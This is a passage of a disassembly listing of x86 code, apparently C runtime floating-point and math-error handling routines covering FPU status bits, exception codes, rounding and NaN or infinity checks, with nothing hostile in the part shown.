		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD


loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
; ---------------------------------------------------------------------------


loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
		mov	eax, [ebp+var_34]


loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------


loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D7F0, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBDDC, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h


loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D7F0, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------


loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------


loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------


loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx


loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 26602EFh
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh


loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh


loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h


loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh


loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
		and	dword ptr [esi], 0FFFFFFDFh


loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------


loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx


loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------


loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------


loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx


loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3F0
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs


loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D3E0
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------


loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D3F0
		fchs


loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D3F0
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------


loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D3E0
		fchs


loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3E0
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs


loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]


loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx


loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------


loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------


loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx


loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx


loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx


loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF


loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx


loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx


loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh


loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx


loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBDDC, 22h
		retn
; ---------------------------------------------------------------------------


loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBDDC, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D308


loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D3E0
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D30C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3


loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F68:				; CODE XREF: sub_421F51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


